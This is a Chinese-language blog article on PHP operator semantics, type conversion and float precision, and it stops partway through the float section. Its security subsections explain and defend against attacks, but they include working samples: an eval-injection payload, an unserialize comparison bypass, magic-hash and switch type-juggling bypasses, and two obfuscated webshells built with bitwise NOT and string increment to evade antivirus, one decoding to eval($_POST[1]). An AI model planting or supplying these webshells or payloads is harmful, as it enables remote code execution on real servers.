PHP Datatype Conversion Safety Risk、Floating Point Precision、Operator Security Risk、Safety Coding Principle

Andrew.Hann發表於2015-05-18

catalog

0. 引言
1. PHP operator introduction
2. 算術運算子
3. 賦值運算子
4. 位運算子
5. 執行運算子
6. 遞增/遞減運算子
7. 陣列運算子
8. 型別運算子
9. PHP自動型別轉換
10. 浮點數運算中的精度損失
11. 比較運算子

 

0. 引言

本文試圖討論PHP中因為運算子導致的各種安全問題/風險/漏洞,其他很多本質上並不能算PHP本身的問題,而更多時候在於PHP程式設計師對語言本身的理解以及對安全編碼規範的踐行,我們逐個討論PHP中的運算子相關知識原理,並在每一個小節中分別討論與此相關的安全問題

Relevant Link:

http://www.freebuf.com/news/67007.html
http://php.net/manual/zh/language.operators.php

 

1. PHP operator introduction

運算子是可以通過給出的一或多個值來產生另一個值(因而整個結構成為一個表示式)的語法結構,運算子可按照其能接受幾個值來分組

1. 一元運算子只能接受一個值,例如
    1) !(邏輯取反運算子)
    2)_ ++(遞增運算子)
2. 二元運算子可接受兩個值,例如
    1)算術運算子 +(加)和 -(減),大多數 PHP 運算子都是這種
3. 三元運算子,例如
    1) ? :,可接受三個值;通常就簡單稱之為"三元運算子" 

0x1: 運算子優先順序

運算子優先順序指定了兩個表示式繫結得有多"緊密"。例如,表示式 1 + 5 * 3 的結果是 16 而不是 18 是因為乘號("*")的優先順序比加號("+")高。必要時可以用括號來強制改變優先順序。例如:(1 + 5) * 3 的值為 18
如果運算子優先順序相同,其結合方向決定著應該從右向左求值,還是從左向右求值——見下例,下表按照優先順序從高到低列出了運算子。同一行中的運算子具有相同優先順序,此時它們的結合方向決定求值順序

運算子優先順序
結合方向運算子附加資訊
clone new clone 和 new
[ array()
++ -- ~ (int) (float) (string) (array) (object) (bool) @ 型別遞增/遞減
instanceof 型別
! 邏輯運算子
* / % 算術運算子
+ - . 算術運算子字串運算子
<< >> 位運算子
== != === !== <> 比較運算子
& 位運算子引用
^ 位運算子
| 位運算子
&& 邏輯運算子
|| 邏輯運算子
? : 三元運算子
= += -= *= /= .= %= &= |= ^= <<= >>= => 賦值運算子
and 邏輯運算子
xor 邏輯運算子
or 邏輯運算子
, 多處用到

對具有相同優先順序的運算子,左結合方向意味著將從左向右求值,右結合方向則反之。對於無結合方向具有相同優先順序的運算子,該運算子有可能無法與其自身結合。舉例說,在 PHP 中 1 < 2 > 1 是一個非法語句,而 1 <= 1 == 1 則不是。因為 T_IS_EQUAL 運算子的優先順序比 T_IS_SMALLER_OR_EQUAL 的運算子要低 

0x2: security risk

儘管 = 比其它大多數的運算子的優先順序低,PHP 仍舊允許類似如下的表示式:if (!$a = foo()),在此例中 foo() 的返回值被賦給了 $a,這導致了一種可能的安全風險
很多網站的模版系統採用這種方式進行模版標籤、動態模版變數的註冊

eval("\$rs2[title]=\"$rs2[title]\";");

這在大多數正常情況下是沒有問題的,但是黑客可以通過注入一個"動態執行函式字串"來實現函式動態執行,例如: ${@fwrite(fopen('ali.php', 'w+'), 'test’)} 這種語法
這樣在eval中原本的賦值操作就會變成函式執行後,將返回結果賦值給變數,從而達到了黑客注入程式碼執行的目的

0x3: 安全編碼規範

在編碼中,如果一定要使用eval進行模版變數的本地化註冊,則最好使用單引號而不是雙引號將用於賦值的物件包裹起來,因為單引號是不具有動態函式執行的能力的

Relevant Link:

http://php.net/manual/zh/language.operators.precedence.php

 

2. 算術運算子

算術運算子
例子名稱結果
-$a 取反 $a 的負值。
$a + $b 加法 $a 和 $b 的和。
$a - $b 減法 $a 和 $b 的差。
$a * $b 乘法 $a 和 $b 的積。
$a / $b 除法 $a 除以 $b 的商。
$a % $b 取模 $a 除以 $b 的餘數。

需要明白的是

1. 除法運算子總是返回浮點數。只有在下列情況例外
    1) 兩個運算元都是整數(或字串轉換成的整數)
    2) 並且正好能整
這時它返回一個整數
2. 取模運算子的運算元在運算之前都會轉換成整數(除去小數部分)
3. 取模運算子 % 的結果和被除數的符號(正負號)相同。即 $a % $b 的結果和 $a 的符號相同 

Relevant Link:

http://php.net/manual/zh/language.operators.arithmetic.php

 

3. 賦值運算子

基本的賦值運算子是"="。一開始可能會以為它是"等於",其實不是的。它實際上意味著把右邊表示式的值賦給左邊的運算數(本質是一個運算數)
賦值運算表示式的值也就是所賦的值。也就是說,"$a = 3"的值是 3。這樣就可以做一些小技巧

<?php 
    $a = ($b = 4) + 5; // $a 現在成了 9,而 $b 成了 4。
?>

0x1: security risk

在 PHP 中普通的傳值賦值行為有個例外就是碰到物件 object 時,在 PHP 5 中是以引用賦值的,除非明確使用了 clone 關鍵字來拷貝,PHP 支援引用賦值,使用“$var = &$othervar;”語法。引用賦值意味著兩個變數指向了同一個資料,沒有拷貝任何東西

<?php
    $a = 3;
    $b = &$a; // $b 是 $a 的引用

    print "$a\n"; // 輸出 3
    print "$b\n"; // 輸出 3

    $a = 4; // 修改 $a

    print "$a\n"; // 輸出 4
    print "$b\n"; // 也輸出 4,因為 $b 是 $a 的引用,因此也被改變
?>

PHP的引用賦值的這個特定會帶來一個安全隱患,黑客有可能在不知道目標變數實際值的情況下,傳入目標變數的引用,以此實現繞過密碼判斷邏輯的目的,思考下面這段示例程式碼

<?php
class just4fun 
{
    var $enter;
    var $secret;
}
 
if (isset($_GET['pass'])) 
{
    $pass = $_GET['pass'];

    if(get_magic_quotes_gpc())
    {
        $pass=stripslashes($pass);
    }

    $o = unserialize($pass);

    if ($o) 
    {
        $o->secret = "hack for fun!!";
        if ($o->secret === $o->enter)
        {
            echo "Congratulation! Here is my secret: ".$o->secret;
        }
    }
    else
    {
        echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}
?>

黑客可通過在傳入的序列化物件中,將$o->enter = $o->secret,以此實現引用賦值,來繞過密碼判斷邏輯

Relevant Link:

http://drops.wooyun.org/papers/660
http://php.net/manual/zh/language.operators.assignment.php 

 

4. 位運算子

位運算子允許對整型數中指定的位進行求值和操作

位運算子
例子名稱結果
$a & $b And(按位與) 將把 $a 和 $b 中都為 1 的位設為 1。
$a | $b Or(按位或) 將把 $a 和 $b 中任何一個為 1 的位設為 1。
$a ^ $b Xor(按位異或) 將把 $a 和 $b 中一個為 1 另一個為 0 的位設為 1。
~ $a Not(按位取反)  $a 中為 0 的位設為 1,反之亦然。
$a << $b Shift left(左移)  $a 中的位向左移動 $b 次(每一次移動都表示“乘以 2”)。
$a >> $b Shift right(右移)  $a 中的位向右移動 $b 次(每一次移動都表示“除以 2”)。

位移在 PHP 中是數學運算。向任何方向移出去的位都被丟棄

1. 左移時右側以零填充,符號位被移走意味著正負號不被保留
2. 右移時左側以符號位填充,意味著正負號被保留 
//要注意資料型別的轉換。如果左右引數都是字串,則位運算子將對字元的 ASCII 值進行操作,我們在之後的資料型別隱式轉換中還會再次詳細討論PHP這個特性

0x1: security risk

從本質上來說,位運算子可以理解為一種"加密變換"處理,黑客可以利用位運算子對字串的處理對WEBSHELL程式碼進行加密,從而躲避本地anti-virus的查殺

WEBSHELL程式碼
<?php
    $x = ~"žŒŒš‹";
    $y = ~"—–‘™×Ö";
    $x($y);
?>

生成原理
<?php
    echo ~"assert";
    echo ~"phpinfo()";
?>
//注意這個檔案一定要儲存為ANSI格式

Relevant Link:

http://php.net/manual/zh/language.operators.bitwise.php
http://www.cnblogs.com/LittleHann/p/3522990.html 

 

5. 執行運算子

PHP 支援一個執行運算子:反引號(``)。注意這不是單引號!PHP 將嘗試將反引號中的內容作為外殼命令來執行,並將其輸出資訊返回(即,可以賦給一個變數而不是簡單地丟棄到標準輸出)。使用反引號運算子"`"的效果與函式 shell_exec() 相同

<?php
    $output = `ls -al`;
    echo "<pre>$output</pre>";
?>

需要注意的是,反引號運算子在啟用了安全模式或者關閉了 shell_exec() 時是無效的

0x1: security risk

黑客可以利用PHP中對反引號命令解析的這個特性,部署WEBSHELL

Relevant Link:

http://php.net/manual/zh/language.operators.execution.php
http://www.cnblogs.com/LittleHann/p/3522990.html

 

6. 遞增/遞減運算子

PHP 支援 C 風格的前/後遞增與遞減運算子

遞增/遞減運算子
例子名稱效果
++$a 前加 $a 的值加一,然後返回 $a
$a++ 後加 返回 $a,然後將 $a 的值加一。
--$a 前減 $a 的值減一, 然後返回 $a
$a-- 後減 返回 $a,然後將 $a 的值減一。

遞增/遞減運算子不影響布林值。遞減 NULL 值也沒有效果,但是遞增 NULL 的結果是 1,在處理字元變數的算數運算時,PHP 沿襲了 Perl 的習慣,而非 C 的。例如

1. 在 Perl 中 $a = 'Z'; $a++; 將把 $a 變成'AA'2. 在 C 中,a = 'Z'; a++; 將把 a 變成 '['('Z' 的 ASCII 值是 90'[' 的 ASCII 值是 91)
//注意字元變數只能遞增,不能遞減,並且只支援純字母(a-z 和 A-Z)。遞增/遞減其他字元變數則無效,原字串沒有變化 

涉及字元變數的算數運算

<?php
    $i = 'W';
    for ($n=0; $n<6; $n++) 
    {
        echo ++$i . "\n";
    }
?>
以上例程會輸出:
X
Y
Z
AA
AB
AC
//遞增或遞減布林值沒有效果

0x1: security risk

利用PHP對字串的自增操作的特性,黑客可以動態進行WEBSHELL字串的拼接,從而躲避基於特徵檢查的anti-virus

<?php
$_="";
$_[+$_]++;
$_=$_."";
$___=$_[+""];//A
$____=$___;
$____++;//B
$_____=$____;
$_____++;//C
$______=$_____;
$______++;//D
$_______=$______;
$_______++;//E
$________=$_______;
$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;//O
$_________=$________;
$_________++;$_________++;$_________++;$_________++;//S
$_=$____.$___.$_________.$_______.'6'.'4'.'_'.$______.$_______.$_____.$________.$______.$_______;
$________++;$________++;$________++;//R
$_____=$_________;
$_____++;//T
$__=$___.$_________.$_________.$_______.$________.$_____;
$__($_("ZXZhbCgkX1BPU1RbMV0p"));   
//ASSERT(BASE64_DECODE("ZXZhbCgkX1BPU1RbMV0p"));
//ASSERT("eval($_POST[1])");
//key:=1
?>

Relevant Link:

http://www.cnblogs.com/LittleHann/p/3522990.html
http://php.net/manual/zh/language.operators.increment.php

 

7. 陣列運算子

陣列運算子
例子名稱結果
$a + $b 聯合 $a 和 $b 的聯合。
$a == $b 相等 如果 $a 和 $b 具有相同的鍵/值對則為 TRUE
$a === $b 全等 如果 $a 和 $b 具有相同的鍵/值對並且順序和型別都相同則為 TRUE
$a != $b 不等 如果 $a 不等於 $b 則為 TRUE
$a <> $b 不等 如果 $a 不等於 $b 則為 TRUE
$a !== $b 不全等 如果 $a 不全等於 $b 則為 TRUE

"+"運算子把右邊的陣列元素附加到左邊的陣列後面,兩個陣列中都有的鍵名,則只用左邊陣列中的,右邊的被忽略

<?php
    $a = array("a" => "apple", "b" => "banana");
    $b = array("a" => "pear", "b" => "strawberry", "c" => "cherry");

    $c = $a + $b; // Union of $a and $b
    echo "Union of \$a and \$b: \n";
    var_dump($c);

    $c = $b + $a; // Union of $b and $a
    echo "Union of \$b and \$a: \n";
    var_dump($c);
?>

執行後,此指令碼會顯示:
Union of $a and $b:
array(3) {
  ["a"]=>
  string(5) "apple"
  ["b"]=>
  string(6) "banana"
  ["c"]=>
  string(6) "cherry"
}
Union of $b and $a:
array(3) {
  ["a"]=>
  string(4) "pear"
  ["b"]=>
  string(10) "strawberry"
  ["c"]=>
  string(6) "cherry"
}

陣列中的單元如果具有相同的鍵名和值則比較時相等

<?php
    $a = array("apple", "banana");
    $b = array(1 => "banana", "0" => "apple");

    var_dump($a == $b); // bool(true),值相等
    var_dump($a === $b); // bool(false),鍵值都必須相等
?>

Relevant Link:

http://php.net/manual/zh/language.operators.array.php

 

8. 型別運算子

instanceof 用於確定一個 PHP 變數是否屬於某一類 class 的例項

<?php
    class MyClass
    {
    }

    class NotMyClass
    {
    }
    $a = new MyClass;

    var_dump($a instanceof MyClass);
    var_dump($a instanceof NotMyClass);
?>
以上例程會輸出:
bool(true)
bool(false)

instanceof 也可用來確定一個變數是不是繼承自某一父類的子類的例項

<?php
    class ParentClass
    {
    }

    class MyClass extends ParentClass
    {
    }

    $a = new MyClass;

    var_dump($a instanceof MyClass);
    var_dump($a instanceof ParentClass);
?>
以上例程會輸出:
bool(true)
bool(true)

Relevant Link:

http://php.net/manual/zh/language.operators.type.php

 

9. PHP自動型別轉換

0x1: 型別轉換的判別

PHP 在變數定義中不需要(或不支援)明確的型別定義;變數型別是根據使用該變數的上下文所決定的。也就是說,如果把一個 string 值賦給變數 $var,$var 就成了一個 string。如果又把一個integer 賦給 $var,那它就成了一個integer

PHP 的自動型別轉換的一個例子是加法運算子"+"

//轉換原則
1. 如果任何一個運算元是float,則所有的運算元都被當成float,結果也是float
2. 否則運算元會被解釋為integer,結果也是integer
//注意這並沒有改變這些運算元本身的型別;改變的僅是這些運算元如何被求值以及表示式本身的型別 

看下列的示例程式碼

<?php
    $foo = "0";  // $foo 是字串 (ASCII 48)
    $foo += 2;   // $foo 現在是一個整數 (2)
    $foo = $foo + 1.3;  // $foo 現在是一個浮點數 (3.3)
    $foo = 5 + "10 Little Piggies"; // $foo 是整數 (15)
    $foo = 5 + "10 Small Pigs";     // $foo 是整數 (15)
?>

自動轉換為 陣列 的行為目前沒有定義。此外,由於 PHP 支援使用和陣列下標同樣的語法訪問字串下標

<?php
    $a    = 'car'; // $a is a string
    $a[0] = 'b';   // $a is still a string
    echo $a;       // bar
?>

0x2: 型別強制轉換

PHP 中的型別強制轉換和 C 中的非常像:在要轉換的變數之前加上用括號括起來的目標型別

1. (int), (integer) - 轉換為整形 integer
2. (bool), (boolean) - 轉換為布林型別 boolean
3. (float), (double), (real) - 轉換為浮點型 float
4. (string) - 轉換為字串 string
5. (array) - 轉換為陣列 array
6. (object) - 轉換為物件 object
7. (unset) - 轉換為 NULL (PHP 5)

Relevant Link:

http://php.net/manual/zh/language.types.type-juggling.php

0x3: 轉換為布林值

要明確地將一個值轉換成 boolean,用 (bool) 或者 (boolean) 來強制轉換。但是很多情況下不需要用強制轉換,因為當運算子,函式或者流程控制結構需要一個 boolean 引數時,該值會被自動轉換

1. 當轉換為 boolean 時,以下值被認為是 FALSE
    1) 布林值 FALSE 本身
    2) 整型值 0(零)
    3) 浮點型值 0.0(零)
    4) 空字串,以及字串 "0"
    5) 不包括任何元素的陣列
    6) 不包括任何成員變數的物件(僅 PHP 4.0 適用)
    7) 特殊型別 NULL(包括尚未賦值的變數)
    8) 從空標記生成的 SimpleXML 物件

2. 當轉換為 boolean 時,以下值被認為是 TRUE
    1) 除上述之外所有其它值都被認為是 TRUE(包括任何資源)
    2) -1 和其它非零值(不論正負)一樣,被認為是 TRUE

程式碼示例

<?php
    var_dump((bool) "");        // bool(false)
    var_dump((bool) 1);         // bool(true)
    var_dump((bool) -2);        // bool(true)
    var_dump((bool) "foo");     // bool(true)
    var_dump((bool) 2.3e5);     // bool(true)
    var_dump((bool) array(12)); // bool(true)
    var_dump((bool) array());   // bool(false)
    var_dump((bool) "false");   // bool(true)
?>

Relevant Link:

http://php.net/manual/zh/language.types.boolean.php#language.types.boolean.casting

0x4: 從布林值轉換為整型

要明確地將一個值轉換為 integer,用 (int) 或 (integer) 強制轉換。不過大多數情況下都不需要強制轉換,因為當運算子,函式或流程控制需要一個 integer 引數時,值會自動轉換。還可以通過函式 intval() 來將一個值轉換成整型
從布林值轉換: FALSE 將產生出 0(零),TRUE 將產生出 1(壹)

0x5: 從浮點型轉換為整型

從浮點型轉換: 當從浮點數轉換成整數時,將向下取整,如果浮點數超出了整數範圍(32 位平臺下通常為 +/- 2.15e+9 = 2^31,64 位平臺下通常為 +/- 9.22e+18 = 2^63),則結果為未定義,因為沒有足夠的精度給出一個確切的整數結果。在此情況下沒有警告,甚至沒有任何通知,決不要將未知的分數強制轉換為 integer,這樣有時會導致不可預料的結果

<?php
    echo (int) ( (0.1+0.7) * 10 ); // 顯示 7!
?> 
//詳細的原理分析見下節:浮點數運算中的精度損失

浮點型(也叫浮點數 float,雙精度數 double 或實數 real)可以用以下任一語法定義

<?php
    $a = 1.234; 
    $b = 1.2e3; 
    $c = 7E-10;
?>

浮點數的形式表示

LNUM          [0-9]+
DNUM          ([0-9]*[\.]{LNUM}) | ({LNUM}[\.][0-9]*)
EXPONENT_DNUM [+-]?(({LNUM} | {DNUM}) [eE][+-]? {LNUM})
//浮點數的字長和平臺相關 

0x6: 轉換為字串

1. 一個值可以通過在其前面加上 (string) 或用 strval() 函式來轉變成字串
2. 在一個需要字串的表示式中,會自動轉換為 string。比如在使用函式 echo 或 print 時,或在一個變數和一個 string 進行比較時,就會發生這種轉換 
3. 一個布林值 boolean 的 TRUE 被轉換成 string"1"。Boolean 的 FALSE 被轉換成 ""(空字串)。這種轉換可以在 boolean 和 string 之間相互進行
4. 一個整數 integer 或浮點數 float 被轉換為數字的字面樣式的 string(包括 float 中的指數部分)。使用指數計數法的浮點數(4.1E+6)也可轉換
5. 陣列 array 總是轉換成字串 "Array",因此,echo 和 print 無法顯示出該陣列的內容。要顯示某個單元,可以用 echo $arr['foo'] 這種結構。要顯示整個陣列內容見下文
5. 在 PHP 4 中物件 object 總是被轉換成字串 "Object",如果為了除錯原因需要列印出物件的值,請繼續閱讀下文。為了得到物件的類的名稱,可以用 get_class() 函式。自 PHP 5 起,適當時可以用 __toString 方法。
6. 資源 resource 總會被轉變成 "Resource id #1" 這種結構的字串,其中的 1 是 PHP 在執行時分配給該 resource 的唯一值。不要依賴此結構,可能會有變更。要得到一個 resource 的型別,可以用函式 get_resource_type() 

陣列array轉換為字串時得到的結果為"array"這個特性,常常被黑客利用進行WEBSHELL的變形隱藏,看下面的程式碼示例

<?php
    //宣告一個字串
    $_="";
    var_dump($_);

    /*
    []括號內使用了加法運算子,將字串強轉為了整型0,即$_[0]++,$_ = array(0 => "1")
    */
    $_[+$_]++;
    var_dump($_);

    //因為字串拼接運算子的原因,$_陣列被強制轉換為了字串,輸出Array字元
    $_=$_."";
    var_dump($_);
    //$_ = "Array"
?>

0x6: 從字串轉換為整型

當一個字串被當作一個數值來取值,其結果和型別如下

1. 如果該字串沒有包含 '.''e''E' 並且其數字值在整型的範圍之內(由 PHP_INT_MAX 所定義),該字串將被當成 integer 來取值。其它所有情況下都被作為 float 來取值 
2. 該字串的開始部分決定了它的值
    1) 如果該字串以合法的數值開始,則使用該數值
    2) 否則其值為 0(零)
//合法數值由可選的正負號,後面跟著一個或多個數字(可能有小數點),再跟著可選的指數部分。指數部分由 'e' 或 'E' 後面跟著一個或多個數字構成 

程式碼示例

<?php
    $foo = 1 + "10.5";                // $foo is float (11.5)
    $foo = 1 + "-1.3e3";              // $foo is float (-1299)
    $foo = 1 + "bob-1.3e3";           // $foo is integer (1)
    $foo = 1 + "bob3";                // $foo is integer (1)
    $foo = 1 + "10 Small Pigs";       // $foo is integer (11)
    $foo = 4 + "10.2 Little Piggies"; // $foo is float (14.2)
    $foo = "10.0 pigs " + 1;          // $foo is float (11)
    $foo = "10.0 pigs " + 1.0;        // $foo is float (11)     
?>

PHP中字串轉換為整型數是一個相對來說比較複雜的情況,這其中涉及到PHP底層的C程式碼的處理方式,我們接下來重點討論幾種比較容易存在安全風險和BYPASS的轉換方式,以及規避這種風險的方法

1. "ASCII字串""純整型數字(不包括科學記數法('e'、'E')、浮點小數'.'的double、float)"混合情況下轉換為整型
2. "ASCII字串""整型數字(可能包括"e""E"字元)"混合情況下轉換為整型
3. "ASCII"字串和"純浮點型數字(科學記數法、浮點小數'.'的double、float)"混合情況下轉換為浮點型

它們分別對應於UNIX C函式庫中的API函式

#include <stdlib.h>
1. strtod(): 字串 -> 浮點型
2. strtol(): 字串 -> 整型

1. "ASCII字串"和"純整型數字(不包括科學記數法('e'、'E')、浮點小數'.'的double、float)"混合情況下轉換為整型

要理解PHP如何處理將數字字母字串混合體轉換為整型數,我們必須要理解PHP對應的底層處理邏輯,如果該字串沒有包含 '.','e' 或 'E' 並且其數字值在整型的範圍之內(由 PHP_INT_MAX 所定義),該字串將被當成 integer 來取值

<?php
    $foo = 1 + "10.5";                // $foo is float (11.5)
?>

2. "ASCII字串"和"整型數字(可能包括"e"、"E"字元)"混合情況下轉換為整型

在這種場景下,PHP的轉換方式分為幾種

1. 字串以ASCII字母開頭: 轉換結果為0
2. 字串以數字開頭,到某一位遇到ASCII字元,則擷取到純數字為止,之後的ASCII字元忽略

示例程式碼

<?php 
    $foo = 1 + "bob-1.3e3";                // $foo is integer (1) 
    var_dump("08c6a51dde006e64aed953b94fd68f0c" == 8);    //true
?>

在這種情況下,可能帶來一些潛在的安全繞過問題,看下列的示例程式碼

<?php
if (isset($_GET['which']))
{
        $which = $_GET['which'];
        switch ($which)
        {
        case 0:
        case 1:
        case 2:
                require_once $which.'.php';
                break;
        default:
                echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
                break;
        }
}
?>
//xxx?which=solution可以成功

因為switch的關係,黑客提交的字串"solution"被轉換為整型數字0

3. "ASCII"字串和"純浮點型數字(科學記數法、浮點小數'.'的double、float)"混合情況下轉換為浮點型

函式 strtod() 用來將字串轉換成雙精度浮點數(double)

/*
1. str: 要轉換的字串,引數 str 字串可包含正負號、小數點或E(e)來表示指數部分。如123. 456 或123e-2
2. endstr: 第一個不能轉換的字元的指標,若endptr 不為NULL,則會將遇到的不符合條件而終止的字元指標由 endptr 傳回;若 endptr 為 NULL,則表示該引數無效,或不使用該引數

【返回值】返回轉換後的浮點型數;若不能轉換或字串為空,則返回 0.0 
*/
double strtod (const char* str, char** endptr);

strtod() 函式會掃描引數str字串,跳過前面的空白字元(例如空格,tab縮排等,可以通過 isspace() 函式來檢測),直到遇上數字或正負符號才開始做轉換,到出現非數字或字串結束時('\0')才結束轉換,並將結果返回
需要特別注意的是,這裡說的"純浮點型數字(科學記數法、浮點小數'.'的double、float)"必須是"e/E"之外為純數字,只要在"xxx.e"之後的字串中有一個不為純數字,則當前不會判定為科學記數法

<?php
    //"e"之後為純數字,結果為 0e^123456789012345678901234567890 == 0e^123456789012345678901234567122191的比較
    var_dump("0e123456789012345678901234567890" == "0e123456789012345678901234567122191");    //true

    //0e^123456789012345678901234567890 == 0
    var_dump("0e123456789012345678901234567890" == "0");

    var_dump("000e123456789012345678901234567890" == "0");
?>

在這種情況下會帶來一個新的安全問題,以純零開頭(0、00、000..)的純科學記數法字串在轉換為整型的時候,結果都為零,這可能導致登入驗證的繞過

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0166

當然,通過數學概率運算即可推知,滿足條件的hash出現概率為

P = Sum(10^n,n=0,30) / 16^32 = 3.26526*10^-9 = 3.26526*10^-9

解決的方法也很簡單,PHP的開發者在進行登入比較驗證的時候,應該統一使用"==="運算子,以此來規避潛在的安全風險

4. 發生強制型別轉換時的情況

<?php  
     var_dump((float)"12.43e1d2");              //float 124.3
     var_dump("12.43e1d2" == "124.3");          //boolean false
     var_dump((float)"12.43e1d2" == "124.3");   //boolean true
?>

我們從PHP原始碼的角度來深入討論PHP處理字串的轉換方式
\php-src-master\Zend\zend_operators.c

ZEND_API zend_uchar ZEND_FASTCALL _is_numeric_string_ex(const char *str, size_t length, zend_long *lval, double *dval, int allow_errors, int *oflow_info) /* {{{ */
{
    const char *ptr;
    int digits = 0, dp_or_e = 0;
    double local_dval = 0.0;
    zend_uchar type;

    if (!length) 
    {
        return 0;
    }

    if (oflow_info != NULL) 
    {
        *oflow_info = 0;
    }

    /* Skip any whitespace
     * This is much faster than the isspace() function */
    while (*str == ' ' || *str == '\t' || *str == '\n' || *str == '\r' || *str == '\v' || *str == '\f') 
    {
        str++;
        length--;
    }
    ptr = str;

    //判斷正負號
    if (*ptr == '-' || *ptr == '+') {
        ptr++;
    }

    //如果字串的開頭不是純數字或者浮點型".",則直接返回0
    if (ZEND_IS_DIGIT(*ptr)) 
    {
        /* Skip any leading 0s */
        while (*ptr == '0') 
        {
            ptr++;
        }

        /* Count the number of digits. If a decimal point/exponent is found,
         * it's a double. Otherwise, if there's a dval or no need to check for
         * a full match, stop when there are too many digits for a long */
        for (type = IS_LONG; !(digits >= MAX_LENGTH_OF_LONG && (dval || allow_errors == 1)); digits++, ptr++) 
        {
check_digits:
            if (ZEND_IS_DIGIT(*ptr)) 
            {
                continue;
            } 
            else if (*ptr == '.' && dp_or_e < 1) 
            {
                goto process_double;
            } 
            //科學記數法
            else if ((*ptr == 'e' || *ptr == 'E') && dp_or_e < 2) 
            {
                const char *e = ptr + 1;

                if (*e == '-' || *e == '+') 
                {
                    ptr = e++;
                }
                //如果當前字串為科學記數法,則要求"e"、"E"之後的字元為純數字,否則不能當成float科學記數法判斷
                if (ZEND_IS_DIGIT(*e)) 
                {
                    goto process_double;
                }
            }

            break;
        }

        if (digits >= MAX_LENGTH_OF_LONG) {
            if (oflow_info != NULL) {
                *oflow_info = *str == '-' ? -1 : 1;
            }
            dp_or_e = -1;
            goto process_double;
        }
    } 
    //"xx.12"的浮點型數字
    else if (*ptr == '.' && ZEND_IS_DIGIT(ptr[1])) 
    {
process_double:
        type = IS_DOUBLE;

        /* If there's a dval, do the conversion; else continue checking
         * the digits if we need to check for a full match */
        if (dval) 
        {
            local_dval = zend_strtod(str, &ptr);
        } 
        else if (allow_errors != 1 && dp_or_e != -1) 
        {
            dp_or_e = (*ptr++ == '.') ? 1 : 2;
            goto check_digits;
        }
    } 
    //轉換過程中如果遇到了一個不能轉換為整型的字母,則轉換結束
    else 
    {
        return 0;
    }

    if (ptr != str + length) 
    {
        if (!allow_errors) {
            return 0;
        }
        if (allow_errors == -1) {
            zend_error(E_NOTICE, "A non well formed numeric value encountered");
        }
    }

    if (type == IS_LONG) {
        if (digits == MAX_LENGTH_OF_LONG - 1) {
            int cmp = strcmp(&ptr[-digits], long_min_digits);

            if (!(cmp < 0 || (cmp == 0 && *str == '-'))) {
                if (dval) {
                    *dval = zend_strtod(str, NULL);
                }
                if (oflow_info != NULL) {
                    *oflow_info = *str == '-' ? -1 : 1;
                }

                return IS_DOUBLE;
            }
        }

        if (lval) {
            *lval = ZEND_STRTOL(str, NULL, 10);
        }

        return IS_LONG;
    } else {
        if (dval) {
            *dval = local_dval;
        }

        return IS_DOUBLE;
    }
}

Relevant Link:

http://www.wechall.net/challenge/php0817/index.php
http://c.biancheng.net/cpp/html/128.html
http://linux.die.net/man/3/strtol 
http://php.net/manual/zh/language.types.type-juggling.php
http://www.freebuf.com/news/67007.html

 

10. 浮點數運算中的精度損失

PHP是一種弱型別語言, 這樣的特性, 必然要求有無縫透明的隱式型別轉換, PHP內部使用zval來儲存任意型別的數值, zval的結構如下

struct _zval_struct 
{
    /* Variable information */
    zvalue_value value;     /* value */
    zend_uint refcount;
    zend_uchar type;    /* active type */
    zend_uchar is_ref;
};
//上面的結構中, 實際儲存數值本身的是zvalue_value聯合體
typedef union _zvalue_value 
{
    long lval;                  /* long value */
    double dval;                /* double value */
    struct 
    {
        char *val;
        int len;
    } str;
    HashTable *ht;              /* hash table value */
    zend_object_value obj;
} zvalue_value;

我們重點關注其中兩個成員

1. long lval: long lval是隨著編譯器, OS的字長不同而不定長的, 它有可能是32bits或者64bits
2. double dval: 而double dval(雙精度)由IEEE 754規定, 是定長的, 一定是64bits 
//double的尾數採用52位bit來儲存, 算上隱藏的1位有效位, 一共是53bits.

PHP在執行一個指令碼之前, 首先需要讀入指令碼, 分析指令碼, 這個過程中也包含著, 對指令碼中的字面量進行zval化, 比如對於如下指令碼:

<?php
    $a = 9223372036854775807; //64位有符號數最大值
    $b = 9223372036854775808; //最大值+1
    var_dump($a);
    var_dump($b);

輸出:
int(9223372036854775807)
float(9.22337203685E+18)

PHP在詞法分析階段, 對於一個字面量的數值, 會去判斷, 是否超出了當前系統的long的表值範圍

1. 如果在long型範圍之內,則用lval來儲存,zval為IS_LONG
2. 超出了long型範圍,則就用dval表示,zval IS_FLOAT.

凡是大於最大的整數值的數值, 我們都要小心, 因為它可能會有精度損失

<?php
    $a = 9223372036854775807;
    $b = 9223372036854775808;
     
    var_dump($a === ($b - 1));
    輸出是false.

這個問題的根源是在於PHP中long型和double型存在一個臨界值(PHP_INT_MAX),我們討論一下也就是一個long的整數, 最大的值是多少, 才能保證轉到float以後再轉回long不會發生精度丟失

比如, 對於整數, 我們知道它的二進位制表示是, 101, 現在, 讓我們右移倆位, 變成1.01, 捨去高位的隱含有效位1, 我們得到在double中儲存5的二進位制數值為:
0/*符號位*/ 10000000001/*指數位*/ 0100000000000000000000000000000000000000000000000000
5的二進位制表示, 絲毫未損的儲存在了尾數部分, 這個情況下, 從double轉會回long, 不會發生精度丟失.

我們知道double用52位表示尾數, 算上隱含的首位1, 一共是53位精度.. 那麼也就可以得出, 如果一個long的整數, 值小於:
2^53 - 1 == 9007199254740991; //牢記, 我們現在假設是64bits的long
那麼, 這個整數, 在發生long->double->long的數值轉換時, 不會發生精度丟失.

long、double型互轉產生的精度丟失本質上是移位導致的字元丟失問題
基於以上討論,我們知道PHP的整數, 可能是32位, 也可能是64位, 那麼就決定了, 一些在64位上可以執行正常的程式碼, 可能會因為隱形的型別轉換, 發生精度丟失, 從而造成程式碼不能正常的執行在32位系統上

0x1: 浮點數表示帶來的"BUG"

<?php
    $f = 0.58;
    var_dump(intval($f * 100)); //輸出57
?>

要理解這個問題,我們來討論一下浮點數的表示(IEEE 754)

浮點數: 以64位的長度(雙精度)為例, 會採用1位符號位(E), 11指數位(Q), 52位尾數(M)表示(一共64位). 
1. 符號位:最高位表示資料的正負,0表示正數,1表示負數。
2. 指數位:表示資料以2為底的冪,指數採用偏移碼錶示
3. 尾數:表示資料小數點後的有效數字.

這裡的關鍵點就在於,小數在二進位制的表示,0.58 對於二進位制表示來說, 是無限長的值(下面的數字省掉了隱含的1)..

0.58的二進位制表示基本上(52位)是: 0010100011110101110000101000111101011100001010001111
